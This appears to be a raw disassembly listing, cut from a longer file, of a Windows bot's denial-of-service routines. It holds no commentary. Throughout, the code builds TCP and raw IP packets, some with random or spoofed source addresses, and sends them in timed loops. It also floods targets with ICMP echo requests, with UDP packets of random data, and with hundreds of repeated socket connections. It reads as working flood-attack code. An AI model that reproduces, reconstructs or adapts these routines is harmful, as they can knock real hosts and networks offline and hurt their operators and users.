		mov	[ebp+64h+var_7], dl


loc_415985:				; CODE XREF: sub_415825+10Aj
					; sub_415825+126j ...
		push	4000h
		mov	[ebp+64h+var_8], 50h
		call	dword_444260	; htons
		mov	[ebp+64h+var_6], ax
		lea	eax, [ebp+64h+var_6C]
		push	eax
		mov	[ebp+64h+var_2], bx
		mov	[ebp+64h+var_30], ebx
		call	ds:dword_42B0DC	; QueryPerformanceFrequency
		lea	eax, [ebp+64h+var_38]
		push	eax
		call	ds:dword_42B0D8	; QueryPerformanceCounter
		push	[ebp+64h+var_68]
		mov	eax, [ebp+64h+arg_10]
		push	[ebp+64h+var_6C]
		cdq
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+64h+var_38]
		mov	[ebp+64h+var_4], bx
		adc	edx, [ebp+64h+var_34]
		mov	[ebp+64h+var_40], eax
		mov	[ebp+64h+var_3C], edx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		mov	edi, 3E8h
		add	edx, edi
		push	edx
		call	dword_444260	; htons
		mov	[ebp+64h+var_14], ax
		call	_rand
		call	_rand
		push	eax
		call	dword_444260	; htons
		push	[ebp+64h+arg_4]
		movzx	eax, ax
		mov	[ebp+64h+var_10], eax
		call	dword_444234	; htonl
		push	14h
		pop	esi
		jmp	short loc_415A7D
; ---------------------------------------------------------------------------


loc_415A18:				; CODE XREF: sub_415825+30Cj
		add	[ebp+64h+var_30], eax
		lea	eax, [ebp+64h+var_38]
		push	eax
		call	ds:dword_42B0D8	; QueryPerformanceCounter
		mov	eax, [ebp+64h+var_34]
		cmp	eax, [ebp+64h+var_3C]
		jg	loc_415B60
		jl	short loc_415A3F
		mov	eax, [ebp+64h+var_38]
		cmp	eax, [ebp+64h+var_40]
		jnb	loc_415B60


loc_415A3F:				; CODE XREF: sub_415825+20Cj
		mov	[ebp+64h+var_4], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, edi
		push	edx
		call	dword_444260	; htons
		mov	[ebp+64h+var_14], ax
		call	_rand
		call	_rand
		push	eax
		call	dword_444260	; htons
		push	[ebp+64h+arg_4]
		movzx	eax, ax
		mov	[ebp+64h+var_10], eax
		call	dword_444234	; htonl


loc_415A7D:				; CODE XREF: sub_415825+1F1j
		inc	[ebp+64h+arg_4]
		mov	[ebp+64h+var_20], eax
		mov	eax, [ebp+64h+var_1C]
		push	esi
		mov	[ebp+64h+var_60], eax
		mov	[ebp+64h+var_5C], bl
		mov	[ebp+64h+var_5B], 6
		call	dword_444260	; htons
		mov	[ebp+64h+var_5A], ax
		mov	eax, [ebp+64h+var_20]
		mov	[ebp+64h+Src], eax
		lea	eax, [ebp+64h+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+64h+var_A8]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+64h+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+64h+var_88]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+64h+var_A8]
		push	34h
		push	eax
		call	sub_402422
		mov	[ebp+64h+var_4], ax
		lea	eax, [ebp+64h+var_2C]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+64h+var_A8]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+64h+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+64h+var_94]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+64h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+64h+var_A8]
		push	28h
		push	eax
		call	sub_402422
		mov	[ebp+64h+var_22], ax
		lea	eax, [ebp+64h+var_2C]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+64h+var_A8]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		push	10h
		lea	eax, [ebp+64h+var_B8]
		push	eax
		push	ebx
		push	28h
		lea	eax, [ebp+64h+var_A8]
		push	eax
		push	[ebp+64h+var_18]
		call	dword_4440CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_415A18
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+64h+Dest]
		push	offset asc_4356AC ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+64h+Dest]
		push	eax
		call	sub_417D70
		add	esp, 10h
		jmp	short loc_415B63
; ---------------------------------------------------------------------------


loc_415B60:				; CODE XREF: sub_415825+206j
					; sub_415825+214j
		mov	ebx, [ebp+64h+var_30]


loc_415B63:				; CODE XREF: sub_415825+339j
		pop	esi


loc_415B64:				; CODE XREF: sub_415825+73j
		push	[ebp+64h+var_18]
		call	dword_444218	; closesocket


loc_415B6D:				; CODE XREF: sub_415825+57j
		call	dword_444224	; WSACleanup
		mov	eax, ebx


loc_415B75:				; CODE XREF: sub_415825+37j
		pop	edi
		pop	ebx
		add	ebp, 64h
		leave
		retn
sub_415825	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_415B7C(int,char *Str,char *Str1,int)

sub_415B7C	proc near		; CODE XREF: sub_415BD8+4Fp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4022BD
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	j__atol
		push	[esp+14h+arg_C]	; Str
		mov	ebx, eax
		call	j__atol
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		idiv	ecx
		push	edi		; int
		push	ebx		; int
		push	[esp+20h+Str1]	; Str1
		lea	eax, [edx+esi+100h]
		push	eax		; int
		push	esi		; int
		call	sub_415825
		add	esp, 20h
		test	eax, eax
		jnz	short loc_415BC9
		inc	eax


loc_415BC9:				; CODE XREF: sub_415B7C+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_415B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_415BD8	proc near		; DATA XREF: sub_40274D+6235o

Dest		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= dword	ptr -18Ch
Str		= byte ptr -10Ch
Str1		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0A5h
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		lea	eax, [ebp+var_18C]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+var_20C]
		push	eax		; Str
		lea	eax, [ebp+var_28C]
		push	eax		; int
		call	sub_415B7C
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4356C8 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_415C68
		push	esi		; int
		push	[ebp+var_C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_294]	; int
		call	sub_40123B
		add	esp, 14h


loc_415C68:				; CODE XREF: sub_415BD8+6Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+var_290]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_415BD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_415C89	proc near		; DATA XREF: sub_40274D+642Do

Dest		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 3BCh
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		pop	ecx
		push	0FFh
		mov	esi, eax
		xor	ebx, ebx
		push	3
		lea	edi, [ebp+74h+var_1BC]
		rep movsd
		inc	ebx
		push	2
		mov	[eax+19Ch], ebx
		call	dword_444100	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jnz	short loc_415CF2
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4357D4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	edi, edi


loc_415CE4:				; CODE XREF: sub_415C89+9Ej
					; sub_415C89+C5j ...
		cmp	[ebp+74h+var_24], edi
		jnz	loc_415F2D
		jmp	loc_415F10
; ---------------------------------------------------------------------------


loc_415CF2:				; CODE XREF: sub_415C89+3Cj
		push	4
		lea	ecx, [ebp+74h+var_C]
		push	ecx
		push	2
		xor	edi, edi
		push	edi
		push	eax
		mov	[ebp+74h+var_C], ebx
		call	dword_444120	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415D29
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4357A4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_415CE4
; ---------------------------------------------------------------------------


loc_415D29:				; CODE XREF: sub_415C89+81j
		lea	eax, [ebp+74h+var_1B8]
		push	eax
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415D50
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435784 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_415CE4
; ---------------------------------------------------------------------------


loc_415D50:				; CODE XREF: sub_415C89+B0j
		push	10h		; Size
		lea	eax, [ebp+74h+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	edi
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		mov	[ebp+74h+var_1A], ax
		lea	eax, [ebp+74h+var_1B8]
		push	eax
		call	dword_44417C	; inet_addr
		mov	esi, ds:dword_42B038
		mov	[ebp+74h+var_18], eax
		mov	[ebp+74h+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+74h+var_8], eax
		jmp	loc_415EB1
; ---------------------------------------------------------------------------


loc_415D93:				; CODE XREF: sub_415C89+239j
		push	41Ch
		mov	byte_4D5278, 45h
		call	dword_444260	; htons
		cmp	[ebp+74h+var_2C], edi
		mov	word_4D527A, ax
		mov	word_4D527C, bx
		mov	word_4D527E, di
		mov	byte_4D5280, 80h
		mov	byte_4D5281, bl
		mov	word_4D5282, di
		jz	short loc_415E02
		call	_rand
		mov	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		mov	dword_4D5284, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_415E1A
; ---------------------------------------------------------------------------


loc_415E02:				; CODE XREF: sub_415C89+147j
		push	[ebp+74h+var_1BC]
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		mov	dword_4D5284, eax


loc_415E1A:				; CODE XREF: sub_415C89+177j
		mov	eax, [ebp+74h+var_18]
		mov	dword_4D5288, eax
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D528C, dl
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4D528D, dl
		call	_rand
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		push	400h		; Size
		mov	word_4D528E, di
		mov	word_4D5292, bx
		inc	edx
		mov	word_4D5290, dx
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx		; Val
		push	offset dword_4D5294 ; Dst
		call	_memset
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4D5278
		push	[ebp+74h+var_4]
		call	dword_4440CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_415F4A
		inc	[ebp+74h+arg_0]


loc_415EB1:				; CODE XREF: sub_415C89+105j
		call	esi	; GetTickCount
		sub	eax, [ebp+74h+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+74h+var_30]
		jbe	loc_415D93
		push	[ebp+74h+var_4]
		call	dword_444218	; closesocket
		mov	eax, [ebp+74h+arg_0]
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+74h+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_1B8]
		push	eax
		lea	eax, [ebp+74h+var_138]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435738 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+74h+var_24], edi
		jnz	short loc_415F2D


loc_415F10:				; CODE XREF: sub_415C89+64j
		push	edi		; int
		push	[ebp+74h+var_28] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_1BC] ; int
		call	sub_40123B
		add	esp, 14h


loc_415F2D:				; CODE XREF: sub_415C89+5Ej
					; sub_415C89+285j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_38]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_42B068	; ExitThread


loc_415F4A:				; CODE XREF: sub_415C89+21Fj
		push	[ebp+74h+var_4]
		call	dword_444218	; closesocket
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_1B8]
		push	eax
		push	offset asc_4356F0 ; "-"
		lea	eax, [ebp+74h+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		jmp	loc_415CE4
sub_415C89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_415F82	proc near		; DATA XREF: sub_40274D+524Eo

var_10320	= byte ptr -10320h
Dest		= byte ptr -344h
var_144		= dword	ptr -144h
Str		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 10320h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_444158	; IcmpCreateFile
		mov	[ebp+74h+arg_0], eax
		lea	eax, [ebp+74h+var_C0]
		push	eax
		call	dword_44417C	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_415FD9
		lea	eax, [ebp+74h+var_C0]
		push	eax
		call	dword_444168	; gethostbyname
		cmp	eax, ebx
		jz	short loc_415FDF


loc_415FD9:				; CODE XREF: sub_415F82+47j
		cmp	[ebp+74h+arg_0], 0FFFFFFFFh
		jnz	short loc_416038


loc_415FDF:				; CODE XREF: sub_415F82+55j
		lea	eax, [ebp+74h+var_C0]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_43582C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_28], ebx
		jnz	short loc_41601C
		push	ebx		; int
		push	[ebp+74h+var_2C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_144] ; int
		call	sub_40123B
		add	esp, 14h


loc_41601C:				; CODE XREF: sub_415F82+78j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_30]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	edi
		jmp	loc_4160FD
; ---------------------------------------------------------------------------


loc_416038:				; CODE XREF: sub_415F82+5Bj
		cmp	eax, ebx
		jz	short loc_416048
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+74h+var_4], eax
		jmp	short loc_41604B
; ---------------------------------------------------------------------------


loc_416048:				; CODE XREF: sub_415F82+B8j
		mov	[ebp+74h+var_4], esi


loc_41604B:				; CODE XREF: sub_415F82+C4j
		push	1Ch		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		or	[ebp+74h+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+74h+var_3C], eax
		jle	short loc_41606B
		mov	[ebp+74h+var_3C], eax


loc_41606B:				; CODE XREF: sub_415F82+E4j
		cmp	[ebp+74h+var_38], edi
		jge	short loc_416073
		mov	[ebp+74h+var_38], edi


loc_416073:				; CODE XREF: sub_415F82+ECj
		xor	esi, esi
		cmp	[ebp+74h+var_40], ebx
		jle	short loc_4160A0


loc_41607A:				; CODE XREF: sub_415F82+11Cj
		push	[ebp+74h+var_38]
		lea	eax, [ebp+74h+Dst]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+74h+var_3C]
		lea	eax, [ebp+74h+var_10320]
		push	eax
		push	[ebp+74h+var_4]
		push	[ebp+74h+arg_0]
		call	dword_4441F4	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+74h+var_40]
		jl	short loc_41607A


loc_4160A0:				; CODE XREF: sub_415F82+F6j
		push	[ebp+74h+arg_0]
		call	dword_44418C	; IcmpCloseHandle
		lea	eax, [ebp+74h+var_C0]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435800 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_28], ebx
		jnz	short loc_4160E6
		push	ebx		; int
		push	[ebp+74h+var_2C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_144] ; int
		call	sub_40123B
		add	esp, 14h


loc_4160E6:				; CODE XREF: sub_415F82+142j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_30]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	ebx


loc_4160FD:				; CODE XREF: sub_415F82+B1j
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_415F82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_416104	proc near		; DATA XREF: sub_40274D+5498o

var_10311	= byte ptr -10311h
var_10310	= byte ptr -10310h
Dest		= byte ptr -334h
var_134		= dword	ptr -134h
Str		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 10310h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_444100	; socket
		push	10h		; Size
		mov	ebx, eax
		xor	edi, edi
		lea	eax, [ebp+74h+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+74h+var_B0]
		push	eax
		mov	[ebp+74h+Dst], 2
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+arg_0], eax
		jnz	short loc_4161E1
		lea	eax, [ebp+74h+var_B0]
		push	eax
		call	dword_444168	; gethostbyname
		cmp	eax, edi
		jnz	short loc_4161DA
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435880 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_18], edi
		jnz	short loc_4161BE
		push	edi		; int
		push	[ebp+74h+var_1C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_134] ; int
		call	sub_40123B
		add	esp, 14h


loc_4161BE:				; CODE XREF: sub_416104+98j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_20]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_41630A
; ---------------------------------------------------------------------------


loc_4161DA:				; CODE XREF: sub_416104+7Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_4161E4
; ---------------------------------------------------------------------------


loc_4161E1:				; CODE XREF: sub_416104+6Dj
		lea	eax, [ebp+74h+arg_0]


loc_4161E4:				; CODE XREF: sub_416104+DBj
		cmp	[ebp+74h+var_24], edi
		mov	eax, [eax]
		mov	[ebp+74h+var_C], eax
		jnz	short loc_4161FF
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_416202
; ---------------------------------------------------------------------------


loc_4161FF:				; CODE XREF: sub_416104+E8j
		push	[ebp+74h+var_24]


loc_416202:				; CODE XREF: sub_416104+F9j
		call	dword_444260	; htons
		cmp	[ebp+74h+var_24], esi
		mov	[ebp+74h+var_E], ax
		jge	short loc_416214
		mov	[ebp+74h+var_24], esi


loc_416214:				; CODE XREF: sub_416104+10Bj
		mov	eax, 0FFFFh
		cmp	[ebp+74h+var_24], eax
		jle	short loc_416221
		mov	[ebp+74h+var_24], eax


loc_416221:				; CODE XREF: sub_416104+118j
		mov	eax, [ebp+74h+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+74h+var_28], edi
		mov	[ebp+74h+var_30], eax
		jnz	short loc_416235
		mov	[ebp+74h+var_28], esi


loc_416235:				; CODE XREF: sub_416104+12Cj
		xor	esi, esi
		cmp	[ebp+74h+var_2C], edi
		jle	short loc_4162AE


loc_41623C:				; CODE XREF: sub_416104+150j
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+74h+var_2C]
		mov	[ebp+esi+74h+var_10311], dl
		jl	short loc_41623C
		jmp	short loc_4162AE
; ---------------------------------------------------------------------------


loc_416258:				; CODE XREF: sub_416104+1ADj
		dec	[ebp+74h+var_30]
		push	0Bh
		pop	esi


loc_41625E:				; CODE XREF: sub_416104+18Aj
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+74h+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+74h+var_10310]
		push	eax
		push	ebx
		call	dword_4440CC	; sendto
		push	[ebp+74h+var_28]
		call	ds:dword_42B014	; Sleep
		dec	esi
		jnz	short loc_41625E
		cmp	[ebp+74h+var_24], edi
		jnz	short loc_4162AE
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_444260	; htons
		mov	[ebp+74h+var_E], ax


loc_4162AE:				; CODE XREF: sub_416104+136j
					; sub_416104+152j ...
		cmp	[ebp+74h+var_30], edi
		jg	short loc_416258
		dec	[ebp+74h+var_30]
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435854 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_18], edi
		jnz	short loc_4162F3
		push	edi		; int
		push	[ebp+74h+var_1C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_134] ; int
		call	sub_40123B
		add	esp, 14h


loc_4162F3:				; CODE XREF: sub_416104+1CDj
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_20]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	edi


loc_41630A:				; CODE XREF: sub_416104+D1j
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_416104	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416311	proc near		; CODE XREF: sub_4163CB+27p

var_654		= dword	ptr -654h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	[ebp+Dst], 2
		call	dword_444260	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_4163C7
		push	esi
		push	edi
		mov	[ebp+arg_0], eax
		mov	edi, 190h


loc_41635B:				; CODE XREF: sub_416311+B2j
		xor	esi, esi


loc_41635D:				; CODE XREF: sub_416311+77j
		push	0
		push	1
		push	2
		call	ds:dword_42B20C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_416385
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_42B1E4	; ioctlsocket


loc_416385:				; CODE XREF: sub_416311+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_41635D
		xor	esi, esi


loc_41638C:				; CODE XREF: sub_416311+91j
		push	10h
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+esi*4+var_654]
		call	ds:dword_42B1F4	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_41638C
		push	64h
		call	ds:dword_42B014	; Sleep
		xor	esi, esi


loc_4163AE:				; CODE XREF: sub_416311+ADj
		push	[ebp+esi*4+var_654]
		call	ds:dword_42B1F8	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_4163AE
		dec	[ebp+arg_0]
		jnz	short loc_41635B
		pop	edi
		pop	esi


loc_4163C7:				; CODE XREF: sub_416311+3Ej
		xor	eax, eax
		leave
		retn
sub_416311	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4163CB(int,char *Str,int)

sub_4163CB	proc near		; CODE XREF: sub_41640E+3Cp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4022BD
		push	[esp+10h+Str]	; Str
		mov	edi, eax
		call	j__atol
		push	[esp+14h+arg_8]	; Str
		mov	ebx, eax
		call	j__atol
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_416311
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4163FF
		inc	eax


loc_4163FF:				; CODE XREF: sub_4163CB+31j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		pop	edi
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_4163CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41640E	proc near		; DATA XREF: sub_40274D+4B72o

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_190		= byte ptr -190h
var_110		= dword	ptr -110h
Str		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 85h
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax		; int
		lea	eax, [ebp+var_190]
		push	eax		; Str
		lea	eax, [ebp+var_210]
		push	eax		; int
		call	sub_4163CB
		push	eax
